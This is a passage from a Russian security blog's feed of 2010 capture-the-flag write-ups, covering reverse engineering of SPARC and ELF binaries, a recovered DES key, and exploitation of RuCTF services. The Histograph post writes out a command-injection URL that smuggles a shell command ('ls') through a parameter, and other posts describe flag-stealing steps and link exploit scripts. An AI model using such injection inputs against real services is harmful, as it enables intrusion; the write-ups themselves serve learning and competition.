Также стоит отметить специфику выполнения циклов: инструкция, следующая за командой условного перехода исполняется всегда. Но если условный переход не был выполнен, ее результат аннулируется.<br />
Можно приступать к разбору.</p>]]>
        <![CDATA[<p>Так как команды имеют длину всего 4 байта (кроме т.н. синтетических инструкций), а адреса - 8 байт, то одной командой адрес не загрузить, и используются конструкции вида (! обозначает комментарий)<br />
set     0x100000, %l1<br />
sllx    %l1, 12, %l1<br />
bset    0xFE0, %l1      ! 100000FE0</p>

<p>Анализ неизвестного кода (тем более на не очень знакомой архитектуре) начинают с рассмотрения функций стандартных библиотек или системных вызовов. У нас таких функций (SUNW_C_GetMechSession, C_CreateObject, C_EncryptInit,..., fopen, fprintf,...) в избытке. Если погуглить по первым двум, то приходим на <a href="http://docs.sun.com/app/docs/doc/816-4863/6mb20lvlt?a=view">Symmetric Encryption Example</a>, что почти один-в-один с исследуемой программой. Осталось разобрать, где какие значения лежат в нашем коде. Также пригодится <a href="http://iso6.de.netbsd.org/pub/ftp.netbsd.org/pub/NetBSD/misc/repositories/cvsroot/src/crypto/dist/heimdal/lib/hx509/ref/pkcs11.h,v">этот </a>заголовочный файл для определения констант.</p>

<p>В функции main практически в самом начале (адрес 100000C5C) видим вычисление адреса 100000FE0 и копирования 8 байт оттуда в стековую переменную. Ее значение становится 0xDEADBEEFBAADF00D. Затем идет вычисление адреса 100000FE8 и копирование оттуда 0x78 байт в стек. Причем адрес приемника вычисляется как sethi   %hi(0x3800), %g5 + btog    -0x101, %g5. Запомним это.<br />
Далее - формирование параметров для SUNW_C_GetMechSession. Из примера от SUN мы знаем, что должно быть что-то вроде</p>

<p>  mechanism.mechanism = CKM_DES_CBC_PAD;<br />
  mechanism.pParameter = des_cbc_iv;<br />
  mechanism.ulParameterLen = 8;<br />
  SUNW_C_GetMechSession(mechanism.mechanism, &hSession);</p>

<p>В листинге видим число 8, видим константу 0x125 = CKM_DES_CBC_PAD. Переименовываем стековые переменные<br />
mechanism.mechanism=  0x7CF<br />
arg_7D7         =  0x7D7<br />
mechanism.ulParameterLen=  0x7DF<br />
Это значит, что arg_7D7 = mechanism.pParameter, а des_cbc_iv = 0xDEADBEEFBAADF00D - что скопировали в самом начале main. SUNW_C_GetMechSession возвращает в %o1 идентификатор hSession.</p>

<p>Пропускаем открытие файла и доходим до вызова C_CreateObject, именно здесь указывается ключ шифрования, как видно из примера от SUN:</p>

<p>  CK_ATTRIBUTE template[] = {<br />
    {CKA_CLASS, &class, sizeof (class) },<br />
    {CKA_KEY_TYPE, &keyType, sizeof (keyType) },<br />
    {CKA_TOKEN, &falsevalue, sizeof (falsevalue) },<br />
    {CKA_ENCRYPT, &truevalue, sizeof (truevalue) },<br />
    {CKA_VALUE, &des_key, sizeof (des_key) }   };<br />
  C_CreateObject(hSession, template, sizeof (template) / sizeof (CK_ATTRIBUTE), &hKey);</p>

<p>В листинге видим, что значение %o1 вычисляется как sethi   %hi(0x3800), %g5 + btog    -0x101, %g5. Это значит, что template был сформирован в начале main и находился по адресу 100000FE8 до копирования в стек, и выглядит следующим образом (5 элеметов по 3 quad в каждом):</p>

<p>  .quad 0<br />
  .quad 0x100101678<br />
  .quad 8<br />
  .quad 0x100<br />
  .quad 0x100101680<br />
  .quad 8<br />
  .quad 1<br />
  .quad 0x100101671<br />
  .quad 1<br />
  .quad 0x104<br />
  .quad 0x100101670<br />
  .quad 1<br />
  .quad 0x11<br />
  .quad 0x100101668<br />
  .quad 8</p>

<p>С помощью файла констант можно восстановить исходную структуру:</p>

<p> {  {CKA_CLASS, 0x100101678, 8},    /* value 4 = CKO_SECRET_KEY */<br />
    {CKA_KEY_TYPE, 0x100101680, 8},    /* value 0x13 = CKK_DES */<br />
    {CKA_TOKEN, 0x100101671, 1},    /* value 0 = FALSE */<br />
    {CKA_ENCRYPT, 0x100101670, 1},    /* value 1 = TRUE */<br />
    {CKA_VALUE, 0x100101668, 8} }    /* value 0xDD73CC7FDD7ECC7F */</p>

<p>Далее идет чтение данных из файла и шифрование в цикле. <br />
Итак, имеем алгоритм, паддинг, ключ и шифротекст, осталось написать процедуру расшифрования. Берем <a href="http://twhiteman.netfirms.com/des.html">pyDes</a>, пишем <a href="http://smokedchicken.org/2010/05/29/b500.py">скрипт</a> и получаем ответ allthatworkanditsjustDES!?!</p>]]>
    </content>
</entry>

<entry>
    <title>DC18: bin200 &amp; bin300</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/05/dc18-bin200-bin300.html" />
    <id>tag:smokedchicken.org,2010://1.34</id>

    <published>2010-05-27T18:38:39Z</published>
    <updated>2010-05-29T07:41:31Z</updated>

    <summary>Binary200 представляет собой обычный 32-х битный ELF. Наверное его можно позапускать, но это не наш метод. IDA подсказала, что на борту имеется 2 больших функции sub_B40 (содержит connect + write) и main (содержит printf). Коннект показался интереснее. В sub_B40 видим...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="разбор" label="разбор" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p><a href="http://smokedchicken.org/2010/05/28/b200">Binary200</a> представляет собой обычный 32-х битный ELF. Наверное его можно позапускать, но это не наш метод.<br />
IDA подсказала, что на борту имеется 2 больших функции sub_B40 (содержит connect + write) и main (содержит printf). Коннект показался интереснее. <br />
В sub_B40 видим копирование 4-х массивов из области глобальных переменных в стековый буфер. Далее 2 цикла расшифровки скопированных буферов. Единственная сложность - это заметить циклы расшифровки, разбавленные весьма своеобразной реализацией функции вроде return (str + strlen(str)).<br />
Расшифровав строки, получаем 'http://is.gd/bWsIR' и '192.168.69.77'. Конечно, сразу же смутил сокет типа AF_UNIX, а этот адрес укрепил подозрение в мусорности этого кода.<br />
В main видим похожий код расшифрования и сразу сразу получаем ссылку http://is.gd/bUBRD, ведущую на фильм про зоофилию в Колумбии. Название страницы и есть ответ. <a href="http://smokedchicken.org/2010/05/28/b200.py">Скрипт</a> прилагается.</p>

<p><a href="http://smokedchicken.org/2010/05/28/b300">Binary300</a> - x86-64 ELF. IDA сказала, что он считает md5 от 256 байт по смещению 0 и смещению 17 от себя, проверят хеш по <a href="http://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%91%D0%BB%D1%83%D0%BC%D0%B0">фильтру Блума</a> и ксорит хеши с Encrypted Key, если хеш прошел проверку. Результат двух ксоров и есть Decrypted Key. Родилось предположение проверить хеши от всех смещений файла фильтром Блума, поксорить с Encrypted Key и получить флаг. Сначала была частично выдрана реализация фильтра из бинарника, но потом найдена <a href="http://en.literateprograms.org/Bloom_filter_%28C%29">здесь</a>. В результате только хеши от 5 смещений проходили через фильтр. Высчитанные для них Decrypted Key не удовлетворили чекер.<br />
Конвертация полученных Decrypted Key в строковое представление дало только одну корректную строку mYg0dthi$isD@k3y, которая и являлась флагом. К слову, этот Decrypted Key соответствует смещениям 0 и 17. То есть, для решения таска нужно было сконвертировать в строку Decrypted Key, который программа выводит при запуске. <a href="http://smokedchicken.org/2010/05/28/b300.py">Скрипт</a> прилагается.</p>]]>
        
    </content>
</entry>

<entry>
    <title>RuCTF-2010: Histograph</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/04/ructf-2010-histograph.html" />
    <id>tag:smokedchicken.org,2010://1.30</id>

    <published>2010-04-28T18:23:41Z</published>
    <updated>2010-05-01T05:36:39Z</updated>

    <summary>Histograph... Сервис представляет из себя CGI-программу launch в виде ELF-бинарника. На вход принимает GET-параметры: action - запрошенное действие, мини-программа на собственном языке в каталоге ./actions arg - дополнительный параметр для определенных action&apos;ов in, out - имена входных и выходных файлов....</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="разбор" label="разбор" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Histograph... Сервис представляет из себя CGI-программу launch в виде ELF-бинарника. На вход принимает GET-параметры:<br />
action - запрошенное действие, мини-программа на собственном языке в каталоге ./actions<br />
arg - дополнительный параметр для определенных action'ов<br />
in, out - имена входных и выходных файлов.</p>

<p>Флаги хранит в каталоге ./data в виде гистограмм-битмапов.</p>

<p>Соответственно, на каждый запрос подгружается нужная подпрограмма, и интерпретируется-выполняется.<br />
Из полезных подпрограмм set (установить флаг - сгенерировать картинку по флагу), get (получить флаг-картинку), hint (типа подсказка).</p>

<p>Виртуальная машина представляет из себя 16-ти битный процессор с обычными командами типа MOV, PUSH, POP, CALL, RETN,... и необычными - печать значения переменной в консоль, читать / писать символ в файловый поток, system и т.д., всего 28 команд. Каждая команда - байт опкода + 1, 2 или 3 16-ти битных операнда. Зная это, несложно написать простой дизассемблер :)</p>

<p>Изучив подпрограмму get, можно узнать, что если запросить файл, состоящий из 111 и более букв o, можно выполнять произвольные команды, например, так:<br />
launch?action=get&in=myfile&arg=echo 'Content-Type:text/plain\r\n';ls</p>

<p>Изучив hint, можно сделать<br />
launch?action=hint&arg=3255<br />
и получить подсказку в виде</p>

<p>struct registers{unsigned short ip;unsigned short sp;unsigned short bp;} reg;</p>

<p>enum opcodes{SET=0x0,MOV=0x1,ADD=0x2,SUB=0x3,MUL=0x4,<br />
JMP=0x5,JE=0x6,JA=0x7,JB=0x8,CALL=0x9,RET=0xa,DIV=0xb,READ=0x10,WRITE=0x11,<br />
PRINT=0x12,EXEC=0x13,PUSH=0x20,POP=0x21,ENTER=0x22,LEAVE=0x23,GETBP=0x24,PTR=0x25,MOVPTR=0x26,<br />
END=0x30,DUMP=0x40,CONTTYPE=0x41,SHOWSHORT=0x42,GETSHORT=0x43};</p>

<p>Не знаю, как она поможет на этом этапе, когда дизассемблер уже написан.</p>

<p>Осталось 2 вопроса: как туда залить этот файл с oooo, чтобы потом получать список файлов-картинок, и как затем распознавать эти картинки. Вероятно, надо ковырять подпрограмму set. Собственно, проблема с картинками и заставила отступиться от сервиса во время игры.</p>

<p><a href="http://smokedchicken.org/2010/04/29/disasm.py">Дизассемблер</a>, <a href="http://smokedchicken.org/2010/04/29/launch">launch</a>, <a href="http://smokedchicken.org/2010/04/29/subprogs.7z">подпрограммы</a> прилагаются.</p>

<p>UPD: Подпрограмма echo позволяет также создавать файлы, если указан параметр out. Таким образом, создать файл с ooo...ooo можно так:<br />
launch?action=echo&out=myfile&arg=oooooo...ooo</p>

<p>UPD2: Генерация картинок, подпрограмма set.<br />
0. Вывод заголовков битмапа в файл и stdout.<br />
1. Вычисляется сумма по символам флага: Sum = flag[i] * (i + 1) mod 256, i =0,31<br />
2. Флаг кодируется с учетом вычисленного значения Sum и таблицы, находящейся по смещению 0x04B3 в set:<br />
index = (flag[i] + Sum) mod 256<br />
flag[i] = table[index]<br />
3. Формирование битмап-картинки.<br />
Картинка представляет из себя изображение размера 500 x 300. По краям гистограммы белые поля, сама гистограмма расположена по x от 26 (0x1A) до 474 (0x1DA) и по y от 22 (0x16) до 278 (0x116).<br />
Заполнение битмапа представляет собой два вложенных цикла по высоте и ширине картинки:<br />
for (i = 0; i < 300; i++)<br />
    for (j =0; j < 500; j++)<br />
        draw(i,j)</p>

<p>Пиксели, координаты которых не попадают в границы гистограммы, выводятся белым. Оси гистограммы выводятся черным. Если же пиксель не попадает ни на оси, ни на поля, производится вычисление высоты рисуемого столбца гистограммы:<br />
index2 = (j - 26 - 1) / 14<br />
Так как значения j у нас в промежутке от 27 до 474, то index2 принимает значение от 0 до 31, как раз по длине флага.<br />
Далее, вычисляется собственно высота: 278 - flag[index2]. Если полученное значение больше i (текущей отрисовываемой высоты битмапа), то заливаем белым, если равна - рисуем черную окантовку, и рисуем зеленым, если меньше.</p>

<p>Как высчитывать по картинке флаг. Определяем высоту столбца, вычитаем из 278. Получаем значение flag[index2]. Затем находим в таблице table это значение и запоминаем индекс index. Получаем 32 сравнения index = (flag[i] + Sum) mod 256 с двумя неизвестными flag[i] и Sum. Но для так как flag[31] = '=', вычисляем Sum и запросто решаем остальные уравнения. </p>

<p>Сервис сдался. Это было достаточно жестко.</p>

<p>UPD3: <a href="http://smokedchicken.org/2010/05/01/bitmap.py">PoC</a> - декодер картинок: <br />
<a href="http://smokedchicken.org/2010/05/01/test-bmp">test-img</a>            : ABCDEFGHIJABCDEFGHIJABCDEFGHIJ1=<br />
<a href="http://smokedchicken.org/2010/05/01/0087-4icm-bmp">0087-4icm-7v79</a> : VIWW0KCUTYLFJ9TTQH05S0JX7V19WOJ=<br />
Но почему-то не берет  encrypted_src/<a href="http://smokedchicken.org/2010/05/01/bmp">default</a>.</p>]]>
        
    </content>
</entry>

<entry>
    <title>RuCTF-2010: SVN</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/04/ructf-2010-svn.html" />
    <id>tag:smokedchicken.org,2010://1.29</id>

    <published>2010-04-27T19:07:36Z</published>
    <updated>2010-04-28T15:08:44Z</updated>

    <summary>Рассмотрим еще один сервис, по которому никто не добыл ни одного флага. Это сервис svn. Невероятно, но на его анализ и поиск основной уязвимости у меня ушло ДЕСЯТЬ минут, и еще десять на написание эксплойта, который получает флаги с сервиса....</summary>
    <author>
        <name>Антон Сапожников</name>
        <uri>http://snowytoxa.blogspot.com/</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Рассмотрим еще один сервис, по которому никто не добыл ни одного флага. Это сервис <a href="http://smokedchicken.org/svn.hs">svn</a>. Невероятно, но на его анализ и поиск основной уязвимости у меня ушло <b>ДЕСЯТЬ </b>минут, и еще десять на написание эксплойта, который получает флаги с сервиса. В хаскеле я так и не разобрался, поэтому вероятно есть и другие уязвимости. Вероятно все посмотрели, что сервис написан на хаскеле и забили, так сделали и мы, а зря.<br /><br />Все очень просто, сервис хранит флаги в файлах каталога /home/svn/repo/. Сервис поддерживает следующие команды:<br />l - получение списка файлов<br />+&lt;filename&gt; &lt;char&gt; - добавить в файл "+&lt;char&gt;"<br />-&lt;filename&gt; &lt;char&gt;&nbsp; - добавить в файл "-&lt;char&gt;"<br />*&lt;filename&gt; &lt;pos&gt; &lt;char&gt;&nbsp; - добавить в файл "*&lt;pos&gt; &lt;char&gt;"<br />&lt;filename&gt; &lt;rev&gt; - получить определенную ревизию файла<br />&lt;filename&gt; - получить последнюю ревизию файла<br /><br />Эксплойт состоит в том, что бы сначала послать "l\n", а потом посылать имена файлов полученные на пред. этапе для получения флагов.<br /><br />Итого:<br /><ul><li>хаскел я так и не знаю</li><li>команды испугалась незнакомого языка и упустили прекрасную возможность получить флаги.</li><li>exploit <a href="http://smokedchicken.org/svn.py">svn.py</a></li></ul>]]>
        
    </content>
</entry>

<entry>
    <title>RuCTF-2010: CA</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/04/ructf-2010-ca.html" />
    <id>tag:smokedchicken.org,2010://1.28</id>

    <published>2010-04-27T17:18:42Z</published>
    <updated>2010-04-27T18:04:06Z</updated>

    <summary>В продолжение темы RuCTF2010, хочу рассмотреть еще один уязвимый сервис - CertificateAuthority. Во время игры, флаги с этого сервиса удалось получить только команде SiBears. Сервис CA (certificateauthority.tgz) написан на Java, но это не принципиально. Функционально он представляет собой сервис для...</summary>
    <author>
        <name>Антон Сапожников</name>
        <uri>http://snowytoxa.blogspot.com/</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>В продолжение темы <a href="http://ructf.org/2010/">RuCTF2010</a>, хочу рассмотреть еще один уязвимый сервис - CertificateAuthority. Во время игры, флаги с этого сервиса удалось получить только команде <a href="http://sibears.org/">SiBears</a>. Сервис CA (<a href="http://smokedchicken.org/certificateauthority.tgz">certificateauthority.tgz</a>) написан на Java, но это не принципиально. Функционально он представляет собой сервис для выдачи сертификатов и хранения любых сообщений пользователей. Игровые чекеры получали сертификат и оставляли зашифрованное сообщение (флаг).</p><p> Предоставленный исходный код содержал функционал не только генерирования сертификата, но и шифрования сообщения, своеобразная подсказка от разработчиков позволила понять в каком формате чекер оставляет сообщения.  Почти с первых минут анализа кода стало ясно, что нужно искать уязвимость в криптостойкости применяемого алгоритма. Активный гуглинг на тему <a href="http://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BA%D1%80%D0%B5%D1%82%D0%BD%D0%BE%D0%B5_%D0%BB%D0%BE%D0%B3%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">дискретного логарифмирования </a>показал, что мы имеем дело со схемой <a href="http://ru.wikipedia.org/wiki/%D0%A1%D1%85%D0%B5%D0%BC%D0%B0_%D0%AD%D0%BB%D1%8C-%D0%93%D0%B0%D0%BC%D0%B0%D0%BB%D1%8F">ElGamal</a>. А одним из эффективных алгоритмов дискретного логарифмирования (схема строится на его сложности) является алгоритм <a href="http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9F%D0%BE%D0%BB%D0%B8%D0%B3%D0%B0-%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0">Полига-Хеллмана</a>. <br /></p><p>Еще гугла, еще кодинга и мы получили PoC (<a href="http://smokedchicken.org/ca.py">ca.py</a>), но к сожалению игра уже несколько секунд как закончилась, успели только отправить адвайзори без эксплойта. Жаль, что мы взялись за этот сервис так поздно. <br /></p><p>
Патчинг состоит в использовании достаточно большого простого числа P, на котором генерируется сертификат.</p>]]>
        
    </content>
</entry>

<entry>
    <title>RuCTF-2010: GPLv4</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/04/ructf-2010-gplv4.html" />
    <id>tag:smokedchicken.org,2010://1.27</id>

    <published>2010-04-27T10:45:35Z</published>
    <updated>2010-04-27T18:34:35Z</updated>

    <summary>На прошедшем 25 апреля контесте было замечено странное поведение vulnbox&apos;a - глючил tcpdump, а также иногда на консоль валилось что-то типа BUG: scheduling while atomic: swapper/0/0x10000100 В списке сервисов было нечто под именем GPLv4, которое, к сожалению, мы обнаружили только...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>На прошедшем 25 апреля контесте было замечено странное поведение vulnbox'a - глючил tcpdump, а также иногда на консоль валилось что-то типа<br />
BUG: scheduling while atomic: swapper/0/0x10000100</p>

<p>В списке сервисов было нечто под именем GPLv4, которое, к сожалению, мы обнаружили только на следующий день после окончания соревнований: Антон заметил в логе трафика подозрительную UDP-активность - пакеты на произвольные порты, и, что самое забавное, ответы на них от vulnbox.</p>

<p>Как оказалось, это был модуль ядра <a href="http://smokedchicken.org/2010/04/27/m.ko">m.ko</a>, реализующий сетевой фильтр для UDP-трафика. Дизассемблер подсказал, что он принимает команды G (get), P (put), L (list) и хранит флаги в /proc/flags/. UDP-сообщения шифруются инструкцией XOR с ключом 'THINKPAD' первые 8 байт сообщения, следующие 8 байт - XOR с предыдущими 8 байтами этого же сообщения.</p>

<p>Чтобы получить список файлов с флагами, достаточно послать зашифрованную команду 'L', а затем сделать Gfile_name элементам полученного списка файлов.</p>

<p>Также в основной функции-фильтре есть утечка памяти под размер данных UDP-пакета. Вероятно, возможен DOS.</p>

<p><a href="http://smokedchicken.org/2010/04/27/poc.py">POC</a> прилагается.</p>]]>
        
    </content>
</entry>

<entry>
    <title>IDAPython &amp; IDA Free 4.9</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/04/idapython-ida-free-49.html" />
    <id>tag:smokedchicken.org,2010://1.26</id>

    <published>2010-04-07T18:33:14Z</published>
    <updated>2010-04-08T08:56:00Z</updated>

    <summary>В IDA Free 4.9 иногда не хватает поддержки питонового скриптинга. Здесь можно найти патч для SDK от 4.9 - перемапливание имен / ординалов в ida.lib в соответствии с ida.wll из IDA Free. Также можно скачать IDAPython 0.8 для IDA 4.9...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Fun" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>В IDA Free 4.9 иногда не хватает поддержки питонового скриптинга. <a href="http://www.woodmann.com/collaborative/tools/index.php/IDA_Free_4.9_SDK_Library_Patch">Здесь</a> можно найти патч для SDK от 4.9 - перемапливание имен / ординалов в ida.lib в соответствии с ida.wll из IDA Free. Также можно скачать IDAPython 0.8 для IDA 4.9 и пересобрать. Но варезный SDK 4.9 портит всю малину IDA Free.<br />
Решение - взять python.plw 0.8 и зафиксить в нем импорт. Конечно, IDAPython 0.8 совсем не 1.2, но все же.<br />
Скрипт, конечно же, питоновый, приложен: <a href="http://smokedchicken.org/2010/04/08/python49.7z">python49.7z</a>.</p>]]>
        
    </content>
</entry>

<entry>
    <title>WCVI-2010</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2010/03/wcvi-2010.html" />
    <id>tag:smokedchicken.org,2010://1.25</id>

    <published>2010-03-17T05:57:18Z</published>
    <updated>2010-03-17T06:05:34Z</updated>

    <summary>Сегодня пришло приглашение на World Congress of Virus and Infections-2010 Сначала подумал, что корейцы / китайцы захватывают мир и проводят международные конференции по компьютерной вирусологии. Но программа конференции как бы намекает на медицину / биологию / химию. Интересно, какое отношение...</summary>
    <author>
        <name>Павел Збицкий</name>
        <uri>http://smokedchicken.org</uri>
    </author>
    
        <category term="Fun" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="av" label="AV" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="malware" label="malware" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<p>Сегодня пришло приглашение на <a href="http://www.bitlifesciences.com/WCVI2010/Program-wcvi.asp">World Congress of Virus and Infections-2010</a></p>

<p>Сначала подумал, что корейцы / китайцы захватывают мир и проводят международные конференции по компьютерной вирусологии. Но программа конференции как бы намекает на медицину / биологию / химию. Интересно, какое отношение они имеют ко мне, а я - к ним...<br />
</p>]]>
        
    </content>
</entry>

</feed>
